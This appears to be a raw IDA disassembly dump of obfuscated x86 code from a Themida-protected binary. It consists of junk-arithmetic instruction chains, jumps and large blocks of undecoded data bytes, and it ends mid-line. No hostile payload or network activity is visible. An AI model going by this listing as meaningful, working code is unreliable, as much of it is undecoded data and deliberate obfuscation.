8973901Ah jmp loc_555547 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 4EC81h, 0C0E90000h, 3100001Ch, 0D0015DEAh, 5124148Bh dd 571DE9h db 0 ; --------------------------------------------------------------------------- loc_55B0ED: ; CODE XREF: Themida_:0055F729j pop dword ptr [esp] pop esp loc_55B0F1: ; CODE XREF: Themida_:00554F2Fj ; Themida_:0055D642j push dword ptr [edi+24h] push eax mov eax, 48BB7B5Ah xor [esp+4], eax mov eax, [esp] add esp, 4 mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 2952h jmp loc_55D6AA ; --------------------------------------------------------------------------- db 83h dd 2C8704C4h, 24248B24h, 280AE9h, 536FB100h, 0FFCD68E9h dd 4BEFFh, 44810000h, 11990424h, 74012009h, 6C810424h dd 11990424h, 5B5E2009h, 4C381h, 68520000h, 2, 8BD3015Ah dd 3EE92414h, 89FFFFDAh, 15E9242Ch, 81FFFF9Ch, 2B74BBC6h dd 0E303E956h, 34FFFFFFh, 0C4815924h, 4, 0B60F66h, 0FFEC53E9h dd 0C18166FFh, 29661205h, 816659CEh, 66480AEEh, 0F5EF329h dd 6866C0B7h, 8966438Eh, 1BE92404h, 41FFFF97h, 27C3E9h dd 241C8B00h, 0FFD07EE9h, 79EA81FFh, 81356025h, 0B11CD7EAh dd 5275E9FBh, 0C8B0000h, 0B866824h, 4890000h, 5585424h dd 4, 0BB4EE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B1EA: ; CODE XREF: Themida_:0055D8B0j sub edi, 2D3667C3h add edi, ecx add edi, 2D3667C3h pop ecx and eax, edi pop edi shr eax, 12h xor eax, ecx push ebx mov ebx, esp jmp loc_560316 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 2DE9242Ch, 80000058h, 0E1803AC1h, 52B353E1h dd 80B8CB80h, 0D93098EBh, 59C8005Bh, 0C32CD800h, 509B68h dd 24148900h, 0B21AB753h, 5BFA00BCh, 0F5E9D000h, 46h, 0E8305BFDh dd 81240C8Bh, 4C4h, 0FC33000h, 34FFC0B6h, 0C5BE5687h, 0E90AA978h dd 0FFFFC526h, 83240C8Bh, 50E904C4h, 53FFFFACh, 0FFC793E9h dd 241C89FFh, 0FFD9F3E9h, 0ADEE81FFh, 1FFDB57h, 18E95EF7h dd 5900001Bh, 80FDB551h, 0DAE93ACDh, 89FFFFB9h, 1B68240Ch dd 8900005Fh, 4832424h, 34FF0424h, 4F62E924h, 0E9570000h dd 0FFFFA8FBh, 24048B66h, 4EC81h, 41E90000h, 56FFFFD2h dd 0FFAE7CE9h, 4EC81FFh, 89000000h, 8B54240Ch, 0C481240Ch dd 4, 3D5E9h, 0EE95F00h, 68FFFFE0h, 650Ah, 0FF242C89h dd 8B042474h, 0C481242Ch, 4, 0FF98ABE9h, 0D1FBDFFh, 0ED81013Ch dd 23D3450Ah, 40BC581h, 63E938E0h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B31B: ; CODE XREF: Themida_:0055A417j add esi, 8114005h xor esi, 46B759A2h dec esi push 3676h mov [esp], eax mov eax, 6E376009h dec eax xor eax, 4FDE142Eh add eax, 6BFA7F4h not eax push edx mov edx, 38042A5Ah inc edx add edx, 3445400h neg edx shl edx, 8 add edx, 11EE4092h xor edx, 0D1899B5Eh add eax, edx pop edx xor eax, 0BF9F735Eh add esi, 75347C7Bh sub esi, eax jmp loc_557995 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0E904C483h, 4B32h, 4A5CF05h, 0E9C329FAh, 5929h ; --------------------------------------------------------------------------- loc_55B38C: ; CODE XREF: Themida_:00559CCDj push ebp not dword ptr [esp] pop ebp jmp loc_55627C ; --------------------------------------------------------------------------- loc_55B396: ; CODE XREF: Themida_:005582D4j and edi, 28301084h or edi, 5F9D68E2h xor edi, 5F9D68E6h jmp loc_55BF09 ; --------------------------------------------------------------------------- db 1, 0FAh, 5Fh dd 2B850h, 0EA810000h, 517C2707h, 0C281C201h, 517C2707h dd 0FFBD12E9h, 241C89FFh, 2BBh, 2EE95500h, 0B8FFFFFFh dd 4E574836h, 9B675235h, 54C1816Fh, 296E7E1Bh, 54E981C1h dd 0E96E7E1Bh, 0ACCh ; --------------------------------------------------------------------------- loc_55B3F4: ; CODE XREF: Themida_:0055D5EDj push 7888h jmp loc_55C50D ; --------------------------------------------------------------------------- dw 0D4BAh dd 315B6864h, 0EF015AD5h, 4CDAE9h, 148B6600h, 0E2895224h dd 4BF57h, 8EE90000h, 2DFFFFFFh, 7362415Dh, 0B62CC235h dd 0C631E96Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B42E: ; CODE XREF: Themida_:005557E7j add ebp, 4 xchg ebp, [esp] pop esp add eax, 4 add eax, 4 jmp loc_554F84 ; --------------------------------------------------------------------------- db 29h, 0D8h, 2Dh dd 6321C09h, 2404875Bh, 3E2AE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B456: ; CODE XREF: Themida_:00560348j mov ecx, ebp mov ebp, [esp] jmp loc_55D913 ; --------------------------------------------------------------------------- dd 2404875Dh, 116685Ch, 3C890000h, 5172BF24h, 4E90C94h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B477: ; CODE XREF: Themida_:0055FB0Bj mov dl, 0 neg dl not dl xor dl, 0A8h add bl, 32h sub bl, dl sub bl, 32h pop dx sub bl, 0E0h sub bl, al jmp loc_559955 ; --------------------------------------------------------------------------- loc_55B494: ; CODE XREF: Themida_:0055DC2Bj sub dword ptr [esp], 4CE272F0h push dword ptr [esp] pop esi add esp, 4 add esi, 4CE272F0h mov eax, esi mov esi, [esp] sub esp, 4 mov [esp], edx jmp loc_55B5BD ; --------------------------------------------------------------------------- dw 5243h dd 847807BAh, 8BD33159h, 0C4832414h, 0F985E904h, 0A0B7FFFFh dd 0F800C504h, 0FFBAD6E9h, 4C483FFh, 81E38953h, 4C3h, 4C38300h dd 0FFBF74E9h, 6BD6BAFFh, 0E281311Dh, 3F114254h, 0FFFCC0E9h dd 0C8B66FFh, 78FB6824h, 34890000h, 7DE6824h, 24890000h dd 24048324h, 0D4E95E04h, 8100001Eh, 2EEh, 24348700h, 1489665Ch dd 34E95324h, 89FFFFB9h, 0C3BBE9F5h, 0E689FFFFh, 4C681h dd 0EE830000h, 24348704h, 3354E9h db 0 ; --------------------------------------------------------------------------- loc_55B54D: ; CODE XREF: Themida_:0055AFAFj sub edx, 24F63911h add edx, ecx add edx, 24F63911h mov ecx, [esp] add esp, 4 xchg edx, [esp] jmp loc_5606AA ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aS_35 db '$é]',0Bh,0 align 2 dw 0E95Ah dd 0FFFFCBD5h, 0E924248Bh, 0FFFF934Eh, 34FFD031h, 8BE95A24h dd 8F000026h, 933CE902h, 5358FFFFh, 241C8B54h, 0F669E953h dd 895CFFFFh, 5CE959CDh, 68FFFFF8h, 64C2h, 57240C89h, 0D76281BFh dd 3EFC10Ah, 6FCE9h db 0 ; --------------------------------------------------------------------------- loc_55B5BD: ; CODE XREF: Themida_:0055B4B9j mov edx, esp jmp loc_55F8AC ; --------------------------------------------------------------------------- dd 42474FFh, 24048F59h, 0F2B8505Ch, 4825E53Ch, 50E9E955h dd 50590000h, 0FFEB53E9h, 0E9D801FFh, 0FFFFDF2Eh, 0D2E953ADh dd 0FFFFFFACh, 589D1C77h, 9C240411h, 0FF92D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B5FD: ; CODE XREF: Themida_:0055A653j add eax, ecx add eax, 26093B19h pop ecx push esi mov esi, eax mov edx, esi pop esi pop eax and eax, edx pop edx or edx, eax shl edx, 1 push edx push ebx push 6EC87FAFh mov ebx, [esp] add esp, 4 jmp loc_558527 ; --------------------------------------------------------------------------- dd 61A0E281h, 0E2C147A5h, 0D8F28108h, 810E4B5Ah, 0D4052AC2h dd 0FFD001F4h, 575A2434h, 0FFBDEAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B649: ; CODE XREF: Themida_:00556F76j xchg ecx, [esp] jmp loc_555710 ; --------------------------------------------------------------------------- aNQZHn db '-Q[ÏZ)Øh',8,0 align 2 dw 2C89h dd 0E9E58924h, 0FFFFDA10h, 0E9240C89h, 0FFFFCD7Ch ; --------------------------------------------------------------------------- loc_55B670: ; CODE XREF: Themida_:0055E7CFj add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_55E18C ; --------------------------------------------------------------------------- db 0F7h, 0E1h, 68h dd 535Bh, 0FF92A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B691: ; CODE XREF: Themida_:00560552j or edx, eax shl edx, 1 push 1D44h mov [esp], ecx sub esp, 4 jmp loc_55F905 ; --------------------------------------------------------------------------- loc_55B6A8: ; CODE XREF: Themida_:00554E23j or bl, 0D5h xor bl, 7Fh not bl or bl, 3Ah inc bl jmp loc_55DB9E ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 835AD101h, 3C8904ECh, 0E9505324h, 3383h ; --------------------------------------------------------------------------- loc_55B6D0: ; CODE XREF: Themida_:0055587Dj sub esi, 29212EC2h sub esi, ecx jmp loc_55FC90 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 801622BDh, 0ECF1E961h, 0E95AFFFFh, 211Eh, 56BA5258h dd 89C7E576h, 44D8E9D0h, 33680000h, 0E930970Bh, 21ADh dd 104C483h, 0F8015DE8h, 78C968h, 243C8900h, 266AD7BFh dd 5436E94Bh, 0DA290000h, 0E9241C8Bh, 2C8Fh ; --------------------------------------------------------------------------- loc_55B72C: ; CODE XREF: Themida_:0055B908j xchg ebx, [esp] pop esp mov [esp], ecx mov ecx, edi push ecx jmp loc_5564E5 ; --------------------------------------------------------------------------- db 0ACh dd 81E18951h, 4C1h, 3B7FE900h, 248B0000h, 243CD224h, 30FBE99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B756: ; CODE XREF: Themida_:00555D0Aj xor edx, [esp] pop esp sub esp, 4 mov [esp], eax mov eax, 5DE574FCh add ecx, eax jmp loc_55BB1D ; --------------------------------------------------------------------------- db 5Fh dd 0E924048Fh, 0FFFF9315h, 835FFA01h, 0EC8304EAh, 1B46E904h dd 815C0000h, 4C2h, 0AB84E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B792: ; CODE XREF: Themida_:0055E743j pop esi push esi jmp loc_55C6D7 ; --------------------------------------------------------------------------- db 2Dh, 0D4h, 6Eh dd 630569C4h, 0E96BF57Dh, 0FFFF91F0h, 8B243487h, 48B2424h dd 5D5D6824h, 3C890000h, 53E78924h, 8904EC83h, 66BE2434h dd 815C581Fh, 0F452F4C6h, 0E7FCE953h, 0BE56FFFFh, 62470F63h dd 165BC681h, 0CE3108BDh, 0CE31F131h, 0F7CE8749h, 62F681DEh dd 811DC806h, 6F79F1C6h, 344684Ah, 1C890000h, 5BCFBB24h dd 0F38158BFh, 1565D8Dh, 0E9575543h, 0FFFFD06Fh, 240C8B66h dd 525F5457h, 0FF9E3FE9h, 81CD01FFh, 2E18DFEDh, 2D14E931h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B82A: ; CODE XREF: Themida_:0055E70Bj pop esp mov [esp], edi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_55D9C2 ; --------------------------------------------------------------------------- loc_55B842: ; CODE XREF: Themida_:00554C81j push dword ptr [esp] pop ecx push 2FD6h mov [esp], ebp mov ebp, esp jmp loc_55C769 ; --------------------------------------------------------------------------- db 80h, 0E3h, 7Ah dd 23E9D3F6h, 66FFFFF8h, 9C243CD3h, 0FF9065E9h, 0F1C581FFh dd 0E9130544h, 1710h, 18DFC581h, 9EE9312Eh, 2DFFFFFFh dd 661554B2h, 24148B5Bh, 0FFE3C1E9h, 0E8C140FFh, 5810D08h dd 62D7B94h, 2D16B52Eh, 33F87F6Dh, 8158C389h, 31A75E3h dd 0D475E934h, 315CFFFFh, 0BBBF57C3h, 81723A70h, 3861DACFh dd 1595E96Ah, 0BE560000h, 78DA2971h, 296FEE81h, 0F50178DAh dd 6C6F685Eh, 2C890000h, 0CEC8E924h, 0E9ADFFFFh, 4536h dd 885BDA88h, 24148BD1h, 347CE9h, 0E7895700h, 4C781h, 0EF810000h dd 4, 0FF9862E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B905: ; CODE XREF: Themida_:005572E3j sub ebx, ebp pop ebp jmp loc_55B72C ; --------------------------------------------------------------------------- loc_55B90D: ; CODE XREF: Themida_:0055762Dj push esi push edx sub esp, 4 mov [esp], ecx mov ecx, 53F36EA2h add ecx, 0AC0D115Eh jmp loc_55F9B3 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0CC61E952h, 0E983FFFFh, 0E07BE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B936: ; CODE XREF: Themida_:0055589Fj mov esi, 0CA01736h sub ebp, 19D61BE5h add ebp, esi add ebp, 19D61BE5h pop esi and ecx, ebp jmp loc_55E1F0 ; --------------------------------------------------------------------------- loc_55B951: ; CODE XREF: Themida_:0055CF1Dj add bl, ah add bl, 2Bh add bl, 0B9h pop eax movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 0ACE9C361h, 5AFFFFACh, 15B5E9h db 0 ; --------------------------------------------------------------------------- loc_55B96D: ; CODE XREF: Themida_:00559F75j mov ebx, edx pop edx add [esp+4], ebx pop ebx jmp loc_55CC5D ; --------------------------------------------------------------------------- loc_55B97A: ; CODE XREF: Themida_:0055D31Aj sub ebp, esi push dword ptr [esp] pop esi jmp loc_559DAA ; --------------------------------------------------------------------------- loc_55B985: ; CODE XREF: Themida_:0055DDE2j or edi, 51D70F6Ch jmp loc_55F4EF ; --------------------------------------------------------------------------- dd 0A940C281h, 0D7019498h, 2AC6815Ah, 12A6B15h, 0E75CE9FEh dd 0CA87FFFFh, 90BF5759h, 0C11B552Bh, 0E94703EFh, 0FFFFA35Eh ; --------------------------------------------------------------------------- loc_55B9B8: ; CODE XREF: Themida_:0055A839j xchg ebp, [esp] pop esp sub esi, 586755C3h sub edi, 50145E64h add edi, esi push ebx jmp loc_55963B ; --------------------------------------------------------------------------- loc_55B9D0: ; CODE XREF: Themida_:005579BCj mov esi, 3DE6158Fh not esi jmp loc_55A3F8 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFFBAEh, 0BF575E54h, 4, 815FFE01h, 4EEh dd 24348700h, 242C895Ch, 0FFC884E9h, 79E981FFh, 0E9C419C3h dd 0BBFh, 2404875Ah, 1C53E9h db 0 ; --------------------------------------------------------------------------- loc_55BA15: ; CODE XREF: Themida_:00555158j xchg esi, [esp] mov esi, [esp] add esp, 4 push ebp push ecx mov ecx, 37B8439Ah mov ebp, ecx pop ecx shl ebp, 6 add ebp, 4C442854h sub ebp, 0CDE0DF46h xor esi, ebp pop ebp add esi, 0A4DD7456h sub edx, esi pop esi xor edx, 0A1C8B8E9h jmp loc_556BDD ; --------------------------------------------------------------------------- loc_55BA51: ; CODE XREF: Themida_:0055A4B0j sub esp, 4 mov [esp], edx mov edx, 25EF304Bh dec edx add edx, 55444254h shr edx, 4 add edx, 628006BBh jmp loc_5607B8 ; --------------------------------------------------------------------------- loc_55BA71: ; CODE XREF: Themida_:0055BB30j mov [esp], ecx mov ecx, 0 sub ecx, ebp xchg ecx, ebp pop ecx xor ebp, 142E6693h and ecx, ebp mov ebp, [esp] push ebp jmp loc_55E3EB ; --------------------------------------------------------------------------- loc_55BA8F: ; CODE XREF: Themida_:00559366j sub esp, 4 mov [esp], edi push ebp mov ebp, esp jmp loc_5556BA ; --------------------------------------------------------------------------- dd 8EDDE959h, 8B66FFFFh, 0F568240Ch, 89000023h, 58542404h dd 0FFBC65E9h, 7DC181FFh, 5F1AE80Fh, 0E9240C87h, 0FFFFB62Ah ; --------------------------------------------------------------------------- loc_55BAC8: ; CODE XREF: Themida_:0056005Aj pop dword ptr [esp] jmp loc_557D12 ; --------------------------------------------------------------------------- dd 335FFB01h, 96E9241Ch, 0B8FFFF8Eh, 2A24468Fh, 0C102E8C1h dd 0B52D03E0h, 29DDE472h, 0BE5658C3h, 19A37FA5h, 525EF329h dd 8E675ABAh, 8BD32920h, 0C4812414h, 4, 0C381C329h, 208E675Ah dd 7FA5BF57h, 0FB0119A3h, 2DCE9h db 0 ; --------------------------------------------------------------------------- loc_55BB1D: ; CODE XREF: Themida_:0055B76Aj pop eax push ebp mov ebp, 76D4654Ah add ebp, 74FD2C23h sub esp, 4 jmp loc_55BA71 ; --------------------------------------------------------------------------- db 0C1h, 0E8h, 5 dd 468D8F7h, 8900007Ah, 0F8B9240Ch, 292F3669h, 0A00559C8h dd 1ABDB4Ch, 24048BC3h, 5204C483h, 0B34255BAh, 0BBEA8149h dd 811934DCh, 0D078DDEBh, 1607E97Ah, 0C6810000h, 1C8B2448h dd 0C681D6F7h, 73366B5Bh, 53E4C681h, 0F0014666h, 0FFBDE5E9h dd 4335FFFh, 24043124h, 5C240433h, 9C240429h, 0FF8D31E9h dd 2414F7FFh, 0FA82E95Ah, 23E9FFFFh, 0BAFFFF8Dh, 4, 148BD701h dd 4C48324h, 8B243C87h, 2E92424h, 5FFFFBBh, 4, 5C240487h dd 66526866h, 241C8966h, 3F2D68h, 24048900h, 88513DB0h dd 4EC83C5h, 88241489h, 0E9F388EEh, 4C00h, 0C181E189h dd 4, 30BB5350h, 874B5C33h, 0E9D7F7FBh, 1144h, 24042966h dd 8CBCE99Ch, 3489FFFFh, 4815024h, 0E32E5B24h, 24348B7Bh dd 1672E9h, 80596600h, 0D82839F3h, 5B2434FFh, 5E08950h dd 4, 405h, 31B1E900h, 0CA010000h, 4C28359h, 4EC81h, 14890000h dd 0E961E924h, 0F331FFFFh, 0E0B9515Eh, 816CD636h, 0F244B5E9h dd 19B9E972h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BC6A: ; CODE XREF: Themida_:00555AF2j mov [esp], eax jmp loc_5548CE ; --------------------------------------------------------------------------- loc_55BC72: ; CODE XREF: Themida_:0055627Dj mov eax, 1FE11E0Dh jmp loc_557EC9 ; --------------------------------------------------------------------------- dd 1081E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BC82: ; CODE XREF: Themida_:00559963j pop edx add eax, edi pop edi sub esp, 4 mov [esp], esi jmp loc_555BA1 ; --------------------------------------------------------------------------- dd 5306E8C1h, 0FFE057E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BC9D: ; CODE XREF: Themida_:00560CB0j push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] push esi mov esi, 3F806A0Ah jmp loc_556692 ; --------------------------------------------------------------------------- loc_55BCB3: ; CODE XREF: Themida_:00557700j pop esp jmp loc_5589F0 ; --------------------------------------------------------------------------- db 97h, 40h, 97h dd 0EC4DEF81h, 2FE9015Ah db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BCC7: ; CODE XREF: Themida_:005564E0j push ebp mov ebp, 288A6916h sub ebp, 19E65661h sub ebp, 0C11EF32Ch xor edx, ebp pop ebp push edi jmp loc_55FD1C ; --------------------------------------------------------------------------- loc_55BCE2: ; CODE XREF: Themida_:0055D990j pop edi and esi, ecx mov ecx, [esp] add esp, 4 neg esi sub esi, 0F577FE00h and eax, esi jmp loc_556987 ; --------------------------------------------------------------------------- db 5Eh, 0F7h, 0D9h dd 0C4BCE950h, 0E957FFFFh, 0FFFFD95Dh, 0B9240C89h, 27BFA05Bh dd 3F8268h, 242C8900h, 4B74E9h, 2BC18100h, 8B586F49h, 0C4812414h dd 4, 8904EC83h, 0BAE92434h, 8100003Ah, 4C3h, 241C8700h dd 5DEF015Ch, 2C781h, 3C870000h, 8E95C24h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BD57: ; CODE XREF: Themida_:00557F49j add eax, 69106416h jmp loc_558CB7 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 50C8B60Fh, 0EC81E089h, 4, 68241C89h, 5A541E1h, 0F381435Bh dd 3535429Bh, 0EB81DBF7h, 66E989E1h, 0F34E381h, 64E94644h dd 0ADFFFF9Dh, 207F83h, 8D17840Fh, 0C681FFFFh, 57C33389h dd 38EBC681h, 0EE812709h, 5D1C41E2h, 0C681C601h, 5D1C41E2h dd 38EBB951h, 0CE292709h, 3835E9h, 4C58100h, 87000000h dd 248B242Ch, 4FE66824h, 1C890000h, 9FB65224h, 6603E6C0h dd 660BFF68h, 0B0240489h, 26C680D8h, 0FFB91FE9h, 4C483FFh dd 0FF8AD5E9h, 2434FFFFh, 0C5F0E95Fh, 0EB81FFFFh, 48C6582Bh dd 5F2434FFh, 0FF97C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BE11: ; CODE XREF: Themida_:00555C64j push 5B4Fh mov [esp], eax mov eax, 65B17838h or edi, eax jmp loc_55D8A5 ; --------------------------------------------------------------------------- dd offset loc_425768 align 2 dw 5DE9h dd 53000034h, 0FFD2D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BE35: ; CODE XREF: Themida_:0055F5EDj sub esp, 4 mov [esp], ebx mov ebx, 119A2CBEh sub esp, 4 mov [esp], edx mov edx, 47614909h sub ebx, edx mov edx, [esp] add esp, 4 sub ebx, 686C7E7Ch dec ebx shl ebx, 3 xor ebx, 3EA77D77h jmp loc_55D5E7 ; --------------------------------------------------------------------------- loc_55BE6E: ; CODE XREF: Themida_:00557807j xchg ebx, ebp push edx mov edx, 6DC872EFh and edx, 2C0065E3h neg edx xor edx, 67032B40h xor ebp, edx pop edx and eax, ebp pop ebp shr eax, 8 xor eax, ecx xor eax, edx xor edx, eax xor eax, edx push 7D58h jmp loc_55D761 ; --------------------------------------------------------------------------- aZ41Fp db '‡4$\1Ãf',0 dd 0FF8A21E9h, 241431FFh, 0E9241433h, 0FFFFF892h, 0E902E9C1h dd 0FFFFA1B9h, 81D10158h, 0CC2F64C1h, 24148B21h, 3F97E9h dd 0FFBD5500h, 0F7313E15h, 4E5C1D5h, 0ED814545h, 0EC1EA000h dd 15DEF89h, 0CA2FE9F9h, 0D300FFFFh, 5ADBC380h, 4EC81h dd 8E90000h, 0BB00001Ah, 26FC573Ch, 2D79E9h db 0 ; --------------------------------------------------------------------------- loc_55BF09: ; CODE XREF: Themida_:0055B3A8j sub eax, 7A235E1Ch sub eax, edi jmp loc_55D19B ; --------------------------------------------------------------------------- db 1, 0D7h, 53h dd 0C811BBBBh, 0A755E96Fh, 1C89FFFFh, 5FB6BB24h, 8CE96E64h dd 5D00000Eh, 5C240C87h, 0FF8995E9h, 0ADEB80FFh, 0FFC0B60Fh dd 4818734h, 0E92D0024h, 2434FF44h, 4C48358h, 1B2168h dd 240C8900h, 1B40E952h, 242C0000h, 8B66DF04h, 0C483240Ch dd 2B5F6802h, 1C890000h, 500EB324h, 4192E9h, 245C2900h dd 491DE908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BF82: ; CODE XREF: Themida_:0055937Cj pop ecx jmp loc_558348 ; --------------------------------------------------------------------------- dd 0C7117605h, 6CE95958h, 8B000014h, 5450240Ch, 11A5E958h dd 0C3830000h, 241C8704h, 0E924248Bh, 0FFFFA2C8h, 4C681h dd 0C6810000h, 4, 5C243487h, 4C581h, 0E9520000h, 0FFFFDE29h dd 0C7BF0BBh, 2F29E965h, 895D0000h, 24148BD5h, 4C481h dd 6F090000h, 2434FF1Ch, 4C4835Dh, 0FF88E1E9h, 48B66FFh dd 0E0895024h, 405h, 42D00h, 4870000h, 34895C24h, 0AEE95424h dd 0B500000Bh, 4299E96Dh, 0D3290000h, 50C3015Ah, 0FFDB55E9h dd 240C87FFh, 0FFA8AFE9h, 81E689FFh, 4C6h, 4C68300h, 8B243487h dd 0DEF72424h, 0FFB59DE9h, 2434FFFFh, 0E3895358h, 4C381h dd 0C3810000h, 4, 0FFCB9CE9h, 241489FFh, 28C2E9h db 0 ; --------------------------------------------------------------------------- loc_55C05D: ; CODE XREF: Themida_:00557E28j pop dword ptr [esp] pop esp jmp loc_55620E ; --------------------------------------------------------------------------- dw 5350h dd 4BBh, 4815300h, 7D2AEC24h, 0EC2D587Fh, 8B7F7D2Ah db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55C8C4 ; --------------------------------------------------------------------------- loc_55C092: ; CODE XREF: Themida_:00559CBFj add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], eax push esp pop eax add eax, 4 sub eax, 4 xor eax, [esp] jmp loc_558C08 ; --------------------------------------------------------------------------- db 1 dd 30E95FFAh, 5E000019h, 0A3E9D501h, 68FFFFF4h, 3CD9h dd 54240C89h, 0FFCD43E9h, 246C81FFh, 459E404h, 12E95D22h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C0EB: ; CODE XREF: Themida_:0055C2BFj add esp, 4 or eax, eax jnz loc_55E905 sub esp, 4 mov [esp], esi push 2F8A3DCEh pop esi mov edx, 8A05B14Dh add edx, 31793196h add edx, 77032F2Dh sub edx, esi sub edx, 77032F2Dh sub edx, 31793196h push dword ptr [esp] mov esi, [esp] jmp loc_55C168 ; --------------------------------------------------------------------------- loc_55C12C: ; CODE XREF: Themida_:0055F673j add [esp], eax pushf jmp loc_556794 ; --------------------------------------------------------------------------- loc_55C135: ; CODE XREF: Themida_:0055C7F4j push 20000h pop ecx jmp loc_554C7F ; --------------------------------------------------------------------------- loc_55C140: ; CODE XREF: Themida_:0055FAF1j and eax, ebp pop ebp or eax, eax jz loc_5601CF push ebx sub esp, 4 jmp loc_55E466 ; --------------------------------------------------------------------------- dd 0EB5C781h, 0F7017F54h, 0EB5EF81h, 0E95E7F54h, 44B2h ; --------------------------------------------------------------------------- loc_55C168: ; CODE XREF: Themida_:0055C127j push ebp mov ebp, esp add ebp, 4 jmp loc_5569A1 ; --------------------------------------------------------------------------- dw 0C581h dd 4, 1FA6E9h db 0 ; --------------------------------------------------------------------------- loc_55C181: ; CODE XREF: Themida_:00557E4Dj add edx, eax pop eax add edx, 4 jmp loc_55FD57 ; --------------------------------------------------------------------------- db 66h dd 25FF181h, 6602EC83h, 66243489h, 0E91E61BEh, 0FFFFB7A2h dd 0F659EA20h, 0B55166DAh, 55C580A0h, 0E580CDFEh, 0A5CD806Fh dd 5F9E9h, 4C48300h, 34FFEA89h, 242C8B24h, 4C481h, 0E9550000h dd 0FFFFD366h ; --------------------------------------------------------------------------- loc_55C1D4: ; CODE XREF: Themida_:0055DAEBj pop esp pop edi jmp loc_55D09F ; --------------------------------------------------------------------------- db 0BBh dd 451A15C6h, 355BD889h, 55206997h, 9F109E0Dh, 0AE1DE92Eh dd 483FFFFh, 575B0424h, 4BFh, 0C2EB8100h, 816C4066h, 0D7452DEBh dd 883FE95Eh, 0FF57FFFFh, 5F042474h, 0E924048Fh, 0FFFFB93Fh dd 511507B9h, 5AD1015Bh, 0D101E983h, 0D1F181E9h, 81738132h dd 2E8B74F1h, 59CF014Dh, 2C781h, 0FF570000h, 8B042474h dd 1DE9243Ch db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C24B: ; CODE XREF: Themida_:00555FB6j xor esi, 5CD52324h or edx, esi pop esi sub edx, 0FFFFFFFFh add edx, 1253A15Eh sub ebx, edx pop edx add ebx, 3A237C0Ah sub ebx, 500362C6h add ebx, eax add ebx, 500362C6h push 7692h mov [esp], esi push 3A237C0Ah pop esi sub ebx, esi mov esi, [esp] add esp, 4 jmp loc_55A18E ; --------------------------------------------------------------------------- dw 0EA81h dd 67853B53h, 0FFE302E9h, 48F5AFFh, 89665C24h, 23E92404h dd 1FFFF86h, 0FF565FFEh, 5E042474h, 0FFB156E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C2B9: ; CODE XREF: Themida_:00555312j pop eax and eax, ebx mov ebx, [esp] jmp loc_55C0EB ; --------------------------------------------------------------------------- loc_55C2C4: ; CODE XREF: Themida_:005579F5j add edi, 23B8303Bh xor edi, 36EC2397h jmp loc_55FEEA ; --------------------------------------------------------------------------- db 1, 0DEh, 5Bh dd 0B850D601h, 163642B1h, 69E9C629h, 83000049h, 1C8904ECh dd 4BB24h, 9AE90000h, 89FFFF86h, 22E92414h, 0D1FFFFC9h dd 0CA8142E2h, 17413515h, 6C32EA81h, 0DAF72E3Dh, 5CA5C281h dd 0D609CFB7h, 0FFDC20E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C31D: ; CODE XREF: Themida_:0055832Fj sub ebx, 15245195h add ebx, 0D391C5Eh add ebx, ecx jmp loc_55AB2A ; --------------------------------------------------------------------------- dd 0F625F280h, 15C280D2h, 88D78853h, 5A5BF9h, 0D1F65AF1h dd 893CE953h, 3431FFFFh, 0BE80E924h, 1635FFFFh, 5126DC0Dh dd 0C92499B9h, 0EF1811Bh, 4163DE1Fh, 0C181D9F7h, 4C564A80h dd 2959C831h, 762D58C1h, 2958C711h, 0FC0AE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C37E: ; CODE XREF: Themida_:00556222j add esp, 4 or ecx, 563D60E7h shl ecx, 1 inc ecx and ecx, 371F7148h jmp loc_560242 ; --------------------------------------------------------------------------- db 88h, 0D0h, 88h dd 0D05A58C7h, 0FED7F6EFh, 0E38953C7h, 4C381h, 0EB830000h dd 241C8702h, 0B833E95Ch, 0C15EFFFFh, 0E98108E9h, 2C2C7612h dd 57DBBE56h, 0DEF7147Eh, 75DBC681h, 0F1095DA9h, 0FFF928E9h dd 8B6664FFh, 